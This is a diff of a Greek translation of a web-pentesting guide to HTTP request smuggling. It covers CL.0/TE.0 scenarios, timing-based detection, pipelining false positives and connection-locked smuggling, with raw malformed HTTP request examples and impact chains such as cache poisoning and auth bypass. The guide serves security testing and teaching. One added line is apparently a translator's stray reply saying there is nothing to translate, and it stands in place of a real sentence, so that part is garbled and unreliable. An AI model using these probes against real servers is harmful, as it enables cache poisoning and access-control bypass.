|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- Αναφέρεται σε σενάρια όπου η κεφαλίδα `Content-Length` είναι παρούσα και έχει τιμή διαφορετική από το μηδέν, υποδεικνύοντας ότι το σώμα του request έχει περιεχόμενο. Ο back-end αγνοεί την κεφαλίδα `Content-Length` (η οποία θεωρείται 0), αλλά ο front-end την αναλύει.
|
||||
- Είναι κρίσιμο για την κατανόηση και την κατασκευή επιθέσεων smuggling, καθώς επηρεάζει το πώς οι servers καθορίζουν το τέλος ενός request.
|
||||
- **Παράδειγμα:**
|
||||
- Αναφέρεται σε σενάρια όπου η κεφαλίδα `Content-Length` υπάρχει και έχει τιμή διαφορετική του μηδενός, υποδεικνύοντας ότι το body του request περιέχει περιεχόμενο. Ο back-end αγνοεί την κεφαλίδα `Content-Length` (η οποία θεωρείται 0), αλλά ο front-end την αναλύει.
|
||||
- Είναι κρίσιμο για την κατανόηση και τη σύνταξη επιθέσεων smuggling, καθώς επηρεάζει το πώς οι servers καθορίζουν το τέλος ενός request.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -159,10 +160,10 @@ Connection: keep-alive
|
||||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### TE.0 Σενάριο
|
||||
#### TE.0 Scenario
|
||||
|
||||
- Όπως το προηγούμενο αλλά χρησιμοποιώντας TE
|
||||
- Τεχνική [αναφερόμενη εδώ](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Παράδειγμα**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
@ -181,33 +182,34 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### Σπάζοντας τον διακομιστή ιστού
|
||||
#### Διακοπή του web server
|
||||
|
||||
Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατόν να **σπάσει ένας διακομιστής ιστού ενώ διαβάζετε τα αρχικά δεδομένα HTTP** αλλά **χωρίς να κλείσετε τη σύνδεση**. Με αυτόν τον τρόπο, το **σώμα** του αιτήματος HTTP θα θεωρείται το **επόμενο αίτημα HTTP**.
|
||||
Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατόν να **σπάσει ένας web server κατά την ανάγνωση των αρχικών δεδομένων HTTP** αλλά **χωρίς να κλείσει η σύνδεση**. Με αυτόν τον τρόπο, το **body** του HTTP request θα θεωρηθεί το **επόμενο HTTP request**.
|
||||
|
||||
Για παράδειγμα, όπως εξηγείται σε [**αυτή τη γραφή**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν μερικοί **Unicode** χαρακτήρες και αυτό θα έκανε τον διακομιστή να **σπάσει**. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα αντιμετωπιστεί ως το **επόμενο αίτημα HTTP**.
|
||||
Για παράδειγμα, όπως εξηγείται στο [**this writeup**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν κάποιοι **Unicode** χαρακτήρες και αυτό θα κάνει τον server να **σπάσει**. Ωστόσο, αν η HTTP σύνδεση δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το body του request δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **body** του request θα αντιμετωπιστεί ως το **επόμενο HTTP request**.
|
||||
|
||||
#### Εξανα forcing μέσω κεφαλίδων hop-by-hop
|
||||
#### Εξαναγκασμός μέσω hop-by-hop headers
|
||||
|
||||
Καταχρώντας τις κεφαλίδες hop-by-hop, θα μπορούσατε να υποδείξετε στον proxy να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**.
|
||||
Καταχρώμενοι τα hop-by-hop headers, μπορείτε να υποδείξετε στον proxy να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding, ώστε να είναι δυνατή η εκμετάλλευση μέσω HTTP request smuggling**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
Για **περισσότερες πληροφορίες σχετικά με τις κεφαλίδες hop-by-hop** επισκεφθείτε:
|
||||
Για **περισσότερες πληροφορίες σχετικά με hop-by-hop headers** επισκεφτείτε:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Εύρεση HTTP Request Smuggling
|
||||
## Εντοπισμός HTTP Request Smuggling
|
||||
|
||||
Η αναγνώριση ευπαθειών HTTP request smuggling μπορεί συχνά να επιτευχθεί χρησιμοποιώντας τεχνικές χρονομέτρησης, οι οποίες βασίζονται στην παρατήρηση του πόσο χρόνο χρειάζεται ο διακομιστής για να απαντήσει σε παραποιημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για την ανίχνευση ευπαθειών CL.TE και TE.CL. Εκτός από αυτές τις μεθόδους, υπάρχουν άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για να βρουν τέτοιες ευπάθειες:
|
||||
Η αναγνώριση των HTTP request smuggling ευπαθειών συχνά επιτυγχάνεται με τεχνικές χρονισμού, που βασίζονται στην παρατήρηση του χρόνου που χρειάζεται ο server για να απαντήσει σε χειραγωγημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για τον εντοπισμό των CL.TE και TE.CL ευπαθειών. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για τον εντοπισμό τέτοιων ευπαθειών:
|
||||
|
||||
### Εύρεση Ευπαθειών CL.TE Χρησιμοποιώντας Τεχνικές Χρονομέτρησης
|
||||
### Εντοπισμός CL.TE Ευπαθειών με Χρήση Τεχνικών Χρονισμού
|
||||
|
||||
- **Μέθοδος:**
|
||||
|
||||
- Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα προκαλέσει τον διακομιστή back-end να περιμένει για επιπλέον δεδομένα.
|
||||
- Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.
|
||||
- **Παράδειγμα:**
|
||||
|
||||
```
|
||||
@ -223,18 +225,18 @@ A
|
||||
```
|
||||
|
||||
- **Παρατήρηση:**
|
||||
- Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το `Content-Length` και κόβει το μήνυμα πρόωρα.
|
||||
- Ο διακομιστής back-end, περιμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που ποτέ δεν φτάνει, προκαλώντας καθυστέρηση.
|
||||
- Ο front-end server επεξεργάζεται το αίτημα βάσει του `Content-Length` και κόβει το μήνυμα πρόωρα.
|
||||
- Ο back-end server, αναμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.
|
||||
|
||||
- **Δείκτες:**
|
||||
- Χρονοouts ή μεγάλες καθυστερήσεις στην απάντηση.
|
||||
- Λήψη σφάλματος 400 Bad Request από τον διακομιστή back-end, μερικές φορές με λεπτομερείς πληροφορίες διακομιστή.
|
||||
- **Ενδείξεις:**
|
||||
- Timeouts ή μεγάλες καθυστερήσεις στην απόκριση.
|
||||
- Λήψη σφάλματος 400 Bad Request από τον back-end server, μερικές φορές με λεπτομερείς πληροφορίες για τον server.
|
||||
|
||||
### Εύρεση Ευπαθειών TE.CL Χρησιμοποιώντας Τεχνικές Χρονομέτρησης
|
||||
### Εντοπισμός TE.CL Ευπαθειών με Χρήση Τεχνικών Χρονισμού
|
||||
|
||||
- **Μέθοδος:**
|
||||
|
||||
- Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα προκαλέσει τον διακομιστή back-end να περιμένει για επιπλέον δεδομένα.
|
||||
- Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.
|
||||
- **Παράδειγμα:**
|
||||
|
||||
```
|
||||
@ -249,41 +251,41 @@ X
|
||||
```
|
||||
|
||||
- **Παρατήρηση:**
|
||||
- Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το `Transfer-Encoding` και προωθεί ολόκληρο το μήνυμα.
|
||||
- Ο διακομιστής back-end, περιμένοντας ένα μήνυμα με βάση το `Content-Length`, περιμένει για επιπλέον δεδομένα που ποτέ δεν φτάνουν, προκαλώντας καθυστέρηση.
|
||||
- Ο front-end server επεξεργάζεται το αίτημα βάσει του `Transfer-Encoding` και προωθεί ολόκληρο το μήνυμα.
|
||||
- Ο back-end server, αναμένοντας μήνυμα βάσει του `Content-Length`, περιμένει επιπλέον δεδομένα που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.
|
||||
|
||||
### Άλλες Μέθοδοι για να Βρείτε Ευπάθειες
|
||||
### Άλλες Μέθοδοι για τον Εντοπισμό Ευπαθειών
|
||||
|
||||
- **Ανάλυση Διαφορετικών Απαντήσεων:**
|
||||
- Στείλτε ελαφρώς παραλλαγμένες εκδόσεις ενός αιτήματος και παρατηρήστε αν οι απαντήσεις του διακομιστή διαφέρουν με απροσδόκητο τρόπο, υποδεικνύοντας μια διαφορά στην ανάλυση.
|
||||
- **Χρησιμοποιώντας Αυτοματοποιημένα Εργαλεία:**
|
||||
- Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν αυτόματα να δοκιμάσουν αυτές τις ευπάθειες στέλνοντας διάφορες μορφές ασαφών αιτημάτων και αναλύοντας τις απαντήσεις.
|
||||
- **Δοκιμές Διαφορετικών Τιμών Content-Length:**
|
||||
- Στείλτε αιτήματα με διαφορετικές τιμές `Content-Length` που δεν ευθυγραμμίζονται με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο διακομιστής χειρίζεται τέτοιες ασυμφωνίες.
|
||||
- **Δοκιμές Διαφορετικών Τιμών Transfer-Encoding:**
|
||||
- Στείλτε αιτήματα με παραποιημένες ή κακώς διαμορφωμένες κεφαλίδες `Transfer-Encoding` και παρακολουθήστε πώς αντιδρούν διαφορετικά οι διακομιστές front-end και back-end σε τέτοιες παραποιήσεις.
|
||||
- **Διαφορική Ανάλυση Απαντήσεων:**
|
||||
- Στείλτε ελαφρώς διαφοροποιημένες εκδοχές ενός αιτήματος και παρατηρήστε αν οι αποκρίσεις του server διαφέρουν με απροσδόκητο τρόπο, δείχνοντας διάκριση στην ανάλυση.
|
||||
- **Χρήση Αυτοματοποιημένων Εργαλείων:**
|
||||
- Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν να δοκιμάσουν αυτόματα για αυτές τις ευπάθειες στέλνοντας διάφορες μορφές αμφίσημων αιτημάτων και αναλύοντας τις αποκρίσεις.
|
||||
- **Δοκιμές Διακύμανσης Content-Length:**
|
||||
- Στείλτε αιτήματα με μεταβαλλόμενες τιμές `Content-Length` που δεν συμφωνούν με το πραγματικό μέγεθος περιεχομένου και παρατηρήστε πώς ο server χειρίζεται αυτές τις ασυμφωνίες.
|
||||
- **Δοκιμές Διακύμανσης Transfer-Encoding:**
|
||||
- Στείλτε αιτήματα με αποκρυπτογραφημένους ή κατεστραμμένους `Transfer-Encoding` headers και παρακολουθήστε πώς ανταποκρίνονται διαφορετικά ο front-end και ο back-end server σε τέτοιες χειραγωγήσεις.
|
||||
|
||||
### Δοκιμή Ευπάθειας HTTP Request Smuggling
|
||||
### Δοκιμή Ευπαθειών HTTP Request Smuggling
|
||||
|
||||
Αφού επιβεβαιωθεί η αποτελεσματικότητα των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθευτεί αν τα αιτήματα του πελάτη μπορούν να παραποιηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα, κάνοντάς το αίτημα προς το `/` να αποδώσει μια απάντηση 404. Τα παραδείγματα `CL.TE` και `TE.CL` που συζητήθηκαν προηγουμένως στο [Basic Examples](#basic-examples) δείχνουν πώς να δηλητηριάσετε ένα αίτημα πελάτη για να προκαλέσετε μια απάντηση 404, παρά το γεγονός ότι ο πελάτης στοχεύει να αποκτήσει πρόσβαση σε διαφορετικό πόρο.
|
||||
Μετά την επιβεβαίωση της αποτελεσματικότητας των τεχνικών χρονισμού, είναι κρίσιμο να επαληθεύσετε αν τα client requests μπορούν να χειραγωγηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα να κάνετε ένα request στο `/` να αποδώσει απάντηση 404. Τα παραδείγματα `CL.TE` και `TE.CL` που συζητήθηκαν προηγουμένως στο [Basic Examples](#basic-examples) δείχνουν πώς να δηλητηριάσετε ένα client's request ώστε να προκληθεί απάντηση 404, παρότι ο client σκοπεύει να προσπελάσει διαφορετικό resource.
|
||||
|
||||
**Κύριες Σκέψεις**
|
||||
**Βασικά Σημεία προς Προσοχή**
|
||||
|
||||
Κατά τη δοκιμή ευπαθειών request smuggling παρεμβαίνοντας σε άλλα αιτήματα, έχετε υπόψη:
|
||||
Όταν δοκιμάζετε για request smuggling επεμβαίνοντας σε άλλα αιτήματα, λάβετε υπόψη τα εξής:
|
||||
|
||||
- **Διακριτές Δικτυακές Συνδέσεις:** Τα "επίθετα" και τα "κανονικά" αιτήματα θα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την παρουσία της ευπάθειας.
|
||||
- **Συνεπής URL και Παράμετροι:** Στοχεύστε να χρησιμοποιήσετε ταυτόσημα URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση το URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση.
|
||||
- **Χρονομέτρηση και Συνθήκες Ανταγωνισμού:** Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθετο" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθετο" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας.
|
||||
- **Προκλήσεις Φορτίου Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθετα" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισοστάθμισης φορτίου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας.
|
||||
- **Ακούσια Επίδραση στους Χρήστες:** Εάν η επίθεσή σας επηρεάσει κατά λάθος το αίτημα άλλου χρήστη (όχι το "κανονικό" αίτημα που στείλατε για ανίχνευση), αυτό υποδεικνύει ότι η επίθεσή σας επηρέασε έναν άλλο χρήστη της εφαρμογής. Η συνεχής δοκιμή θα μπορούσε να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση.
|
||||
- **Διακριτές Δικτυακές Συνδέσεις:** Τα "attack" και "normal" requests πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επικυρώνει την παρουσία ευπάθειας.
|
||||
- **Συνεπές URL και Παράμετροι:** Προσπαθήστε να χρησιμοποιήσετε τα ίδια URLs και ονόματα παραμέτρων για αμφότερα τα requests. Σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους back-end servers βάσει URL και παραμέτρων. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο server, προϋπόθεση για επιτυχή επίθεση.
|
||||
- **Χρονισμός και Αγώνες (Racing Conditions):** Το "normal" request, που προορίζεται να ανιχνεύσει παρεμβολή από το "attack" request, ανταγωνίζεται με άλλα ταυτόχρονα αιτήματα της εφαρμογής. Επομένως, στείλτε το "normal" request αμέσως μετά το "attack" request. Εργασίες με υψηλό φόρτο μπορεί να απαιτήσουν πολλαπλές δοκιμές για οριστική επιβεβαίωση της ευπάθειας.
|
||||
- **Προκλήσεις Load Balancing:** Front-end servers που λειτουργούν ως load balancers ενδέχεται να διανέμουν αιτήματα σε διάφορα back-end συστήματα. Αν τα "attack" και "normal" requests καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα πετύχει. Αυτό το θέμα του load balancing μπορεί να απαιτήσει αρκετές προσπάθειες για επιβεβαίωση μιας ευπάθειας.
|
||||
- **Ακούσια Επίδραση σε Χρήστες:** Αν η επίθεσή σας επηρεάσει κατά λάθος το αίτημα άλλου χρήστη (όχι το "normal" request που στείλατε για ανίχνευση), αυτό υποδηλώνει ότι η επίθεσή σας επηρέασε άλλον χρήστη της εφαρμογής. Η συνεχής δοκιμή μπορεί να διαταράξει άλλους χρήστες, οπότε απαιτείται προσεκτική προσέγγιση.
|
||||
|
||||
## Διαχωρισμός των τεχνικών HTTP/1.1 pipelining από την πραγματική request smuggling
|
||||
## Διαχώριση artifacts του HTTP/1.1 pipelining vs genuine request smuggling
|
||||
|
||||
Η επαναχρησιμοποίηση συνδέσεων (keep-alive) και το pipelining μπορεί εύκολα να δημιουργήσουν ψευδαισθήσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στην ίδια υποδοχή. Μάθετε να διαχωρίζετε αβλαβή στοιχεία πελάτη από πραγματική ασυγχρονία διακομιστή.
|
||||
Η επαναχρησιμοποίηση σύνδεσης (keep-alive) και το pipelining μπορούν εύκολα να δημιουργήσουν ψευδείς εντυπώσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στο ίδιο socket. Μάθετε να διαχωρίζετε αβλαβή client-side artifacts από πραγματικό server-side desync.
|
||||
|
||||
### Γιατί το pipelining δημιουργεί κλασικά ψευδώς θετικά
|
||||
### Γιατί το pipelining δημιουργεί κλασικά false positives
|
||||
|
||||
Το HTTP/1.1 επαναχρησιμοποιεί μια μόνο σύνδεση TCP/TLS και συνενώνει αιτήματα και απαντήσεις στην ίδια ροή. Στο pipelining, ο πελάτης στέλνει πολλαπλά αιτήματα το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σειρά. Ένα κοινό ψευδώς θετικό είναι να ξαναστείλετε ένα κακώς διαμορφωμένο payload τύπου CL.0 δύο φορές σε μια μόνο σύνδεση:
|
||||
Το HTTP/1.1 επαναχρησιμοποιεί μια ενιαία TCP/TLS σύνδεση και συγχωνεύει requests και responses στο ίδιο stream. Στο pipelining, ο client στέλνει πολλαπλά requests το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σειρά. Ένα συνηθισμένο false-positive είναι να ξαναστείλετε ένα malformed CL.0-style payload δύο φορές στην ίδια σύνδεση:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -292,7 +294,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Οι απαντήσεις μπορεί να φαίνονται όπως:
|
||||
Δεν υπάρχει περιεχόμενο για μετάφραση. Παρακαλώ επικολλήστε το περιεχόμενο του αρχείου src/pentesting-web/http-request-smuggling/README.md που θέλετε να μεταφράσω. Θα μεταφράσω το αγγλικό κείμενο σε ελληνικά και θα διατηρήσω αμετάβλητα κώδικα, tags, links, paths, ονόματα τεχνικών hacking, cloud/SaaS ονόματα και λέξεις όπως "leak".
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -306,7 +308,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
Αν ο διακομιστής αγνόησε το κακώς σχηματισμένο `Content_Length`, δεν υπάρχει αποσυγχρονισμός FE↔BE. Με την επαναχρησιμοποίηση, ο πελάτης σας έστειλε πραγματικά αυτό το ρεύμα byte, το οποίο ο διακομιστής το ανέλυσε ως δύο ανεξάρτητες αιτήσεις:
|
||||
Αν ο διακομιστής αγνόησε το κατεστραμμένο `Content_Length`, δεν υπάρχει FE↔BE desync. Σε περίπτωση επαναχρησιμοποίησης, ο πελάτης σας στην πραγματικότητα έστειλε αυτή τη ροή byte, την οποία ο διακομιστής ανέλυσε ως δύο ανεξάρτητες αιτήσεις:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -320,78 +322,78 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Impact: κανένα. Απλώς αποσυνδέσατε τον πελάτη σας από το πλαίσιο του διακομιστή.
|
||||
Impact: none. You just desynced your client from the server framing.
|
||||
|
||||
> [!TIP]
|
||||
> Burp modules που εξαρτώνται από την επαναχρησιμοποίηση/προσωρινή αποθήκευση: Turbo Intruder με `requestsPerConnection>1`, Intruder με "HTTP/1 επαναχρησιμοποίηση σύνδεσης", Repeater "Αποστολή ομάδας σε σειρά (μία σύνδεση)" ή "Ενεργοποίηση επαναχρησιμοποίησης σύνδεσης".
|
||||
> Μονάδες του Burp που εξαρτώνται από reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||
|
||||
### Δοκιμές Litmus: προσωρινή αποθήκευση ή πραγματική αποσύνδεση;
|
||||
### Δοκιμές επιβεβαίωσης: pipelining ή πραγματικό desync?
|
||||
|
||||
1. Απενεργοποιήστε την επαναχρησιμοποίηση και επαναδοκιμάστε
|
||||
- Στο Burp Intruder/Repeater, απενεργοποιήστε την επαναχρησιμοποίηση HTTP/1 και αποφύγετε την "Αποστολή ομάδας σε σειρά".
|
||||
1. Disable reuse and re-test
|
||||
- Στο Burp Intruder/Repeater, απενεργοποιήστε το HTTP/1 reuse και αποφύγετε το "Send group in sequence".
|
||||
- Στο Turbo Intruder, ορίστε `requestsPerConnection=1` και `pipeline=False`.
|
||||
- Αν η συμπεριφορά εξαφανιστεί, πιθανότατα ήταν προσωρινή αποθήκευση από την πλευρά του πελάτη, εκτός αν ασχολείστε με στόχους κλειδωμένων/καταστατικών συνδέσεων ή αποσύνδεση από την πλευρά του πελάτη.
|
||||
2. Έλεγχος εσωτερικής απάντησης HTTP/2
|
||||
- Στείλτε ένα αίτημα HTTP/2. Αν το σώμα της απάντησης περιέχει μια πλήρη εσωτερική απάντηση HTTP/1, έχετε αποδείξει ένα σφάλμα ανάλυσης/αποσύνδεσης στο backend αντί για ένα καθαρό αντικείμενο πελάτη.
|
||||
3. Δοκιμή μερικών αιτημάτων για κλειδωμένα front-ends
|
||||
- Ορισμένα FEs επαναχρησιμοποιούν μόνο τη σύνδεση BE αν ο πελάτης επαναχρησιμοποίησε τη δική του. Χρησιμοποιήστε μερικά αιτήματα για να ανιχνεύσετε τη συμπεριφορά του FE που αντικατοπτρίζει την επαναχρησιμοποίηση του πελάτη.
|
||||
- Δείτε το PortSwigger "Browser‑Powered Desync Attacks" για την τεχνική κλειδώματος σύνδεσης.
|
||||
4. Δοκιμές κατάστασης
|
||||
- Αναζητήστε διαφορές πρώτου και επόμενου αιτήματος στην ίδια TCP σύνδεση (δρομολόγηση/επικύρωση πρώτου αιτήματος).
|
||||
- Το Burp "HTTP Request Smuggler" περιλαμβάνει μια δοκιμή κατάστασης σύνδεσης που αυτοματοποιεί αυτό.
|
||||
5. Οπτικοποιήστε το καλώδιο
|
||||
- Χρησιμοποιήστε την επέκταση Burp "HTTP Hacker" για να επιθεωρήσετε τη συγχώνευση και το πλαίσιο μηνυμάτων απευθείας ενώ πειραματίζεστε με την επαναχρησιμοποίηση και τα μερικά αιτήματα.
|
||||
- Αν η συμπεριφορά εξαφανιστεί, πιθανότατα ήταν client-side pipelining, εκτός αν στοχεύετε connection-locked/stateful targets ή client-side desync.
|
||||
2. HTTP/2 nested-response check
|
||||
- Στείλτε ένα HTTP/2 request. Αν το σώμα της απάντησης περιέχει μια πλήρη nested HTTP/1 response, έχετε αποδείξει backend parsing/desync bug αντί για καθαρό client artifact.
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- Κάποια FEs επαναχρησιμοποιούν την upstream BE σύνδεση μόνο αν ο client επαναχρησιμοποιήσει τη δική του. Χρησιμοποιήστε partial-requests για να εντοπίσετε συμπεριφορά FE που καθρεφτίζει το client reuse.
|
||||
- Δείτε PortSwigger "Browser‑Powered Desync Attacks" για την τεχνική connection-locked.
|
||||
4. State probes
|
||||
- Αναζητήστε διαφορές μεταξύ πρώτου και επόμενων requests στην ίδια TCP σύνδεση (first-request routing/validation).
|
||||
- Το Burp "HTTP Request Smuggler" περιλαμβάνει ένα connection‑state probe που αυτοματοποιεί αυτό.
|
||||
5. Visualize the wire
|
||||
- Χρησιμοποιήστε το Burp "HTTP Hacker" extension για να ελέγξετε concatenation και message framing απευθείας ενώ πειραματίζεστε με reuse και partial requests.
|
||||
|
||||
### Αποστολή αιτημάτων κλειδώματος σύνδεσης (απαιτείται επαναχρησιμοποίηση)
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
Ορισμένα front-ends επαναχρησιμοποιούν μόνο τη σύνδεση upstream όταν ο πελάτης επαναχρησιμοποιεί τη δική του. Υπάρχει πραγματική αποστολή, αλλά είναι υπό προϋποθέσεις επαναχρησιμοποίησης από την πλευρά του πελάτη. Για να διακρίνετε και να αποδείξετε τον αντίκτυπο:
|
||||
- Αποδείξτε το σφάλμα από την πλευρά του διακομιστή
|
||||
- Χρησιμοποιήστε τον έλεγχο εσωτερικής απάντησης HTTP/2, ή
|
||||
- Χρησιμοποιήστε μερικά αιτήματα για να δείξετε ότι το FE επαναχρησιμοποιεί μόνο το upstream όταν το κάνει ο πελάτης.
|
||||
- Δείξτε πραγματικό αντίκτυπο ακόμη και αν η άμεση κακή χρήση υποδοχής χρηστών είναι αποκλεισμένη:
|
||||
- Μολυσματική προσωρινή αποθήκευση: μολύνετε κοινές προσωρινές αποθήκες μέσω της αποσύνδεσης ώστε οι απαντήσεις να επηρεάζουν άλλους χρήστες.
|
||||
- Αποκάλυψη εσωτερικών κεφαλίδων: αντανάκλαση κεφαλίδων που εισάγονται από το FE (π.χ., κεφαλίδες auth/trust) και μετά πηγαίνετε σε παράκαμψη αυθεντικοποίησης.
|
||||
- Παράκαμψη ελέγχων FE: αποστείλετε περιορισμένες διαδρομές/μεθόδους πέρα από το front-end.
|
||||
- Κακή χρήση κεφαλίδας-φιλοξενίας: συνδυάστε με ιδιοτροπίες δρομολόγησης φιλοξενίας για να μεταβείτε σε εσωτερικούς vhosts.
|
||||
- Ροή εργασίας χειριστή
|
||||
- Αναπαραγωγή με ελεγχόμενη επαναχρησιμοποίηση (Turbo Intruder `requestsPerConnection=2`, ή ομάδα καρτελών Burp Repeater → "Αποστολή ομάδας σε σειρά (μία σύνδεση)").
|
||||
- Στη συνέχεια, αλυσίδα σε μολυσματικά/κεφαλίδα-διαρροής/παράκαμψη ελέγχου και δείξτε αντίκτυπο διασταυρούμενου χρήστη ή εξουσιοδότησης.
|
||||
Ορισμένα front-ends επαναχρησιμοποιούν την upstream σύνδεση μόνο όταν ο client επαναχρησιμοποιεί τη δική του. Υπάρχει πραγματικό smuggling αλλά είναι υπό όρους στο client-side reuse. Για να διακρίνετε και να αποδείξετε την επίπτωση:
|
||||
- Αποδείξτε το server-side bug
|
||||
- Χρησιμοποιήστε το HTTP/2 nested-response check, ή
|
||||
- Χρησιμοποιήστε partial-requests για να δείξετε ότι το FE επαναχρησιμοποιεί upstream μόνο όταν το κάνει ο client.
|
||||
- Δείξτε πραγματική επίπτωση ακόμη κι αν η άμεση cross-user socket κατάχρηση είναι μπλοκαρισμένη:
|
||||
- Cache poisoning: poison shared caches via the desync so responses affect other users.
|
||||
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
|
||||
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
|
||||
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
|
||||
- Operator workflow
|
||||
- Αναπαράγετε με ελεγχόμενο reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Έπειτα αλυσιδώστε σε cache/header-leak/control-bypass primitives και δείξτε cross-user ή authorization impact.
|
||||
|
||||
> Δείτε επίσης επιθέσεις κατάστασης σύνδεσης, οι οποίες σχετίζονται στενά αλλά δεν είναι τεχνικά αποστολή:
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
>
|
||||
>{{#ref}}
|
||||
>../http-connection-request-smuggling.md
|
||||
>{{#endref}}
|
||||
|
||||
### Περιορισμοί αποσύνδεσης από την πλευρά του πελάτη
|
||||
### Περιορισμοί client‑side desync
|
||||
|
||||
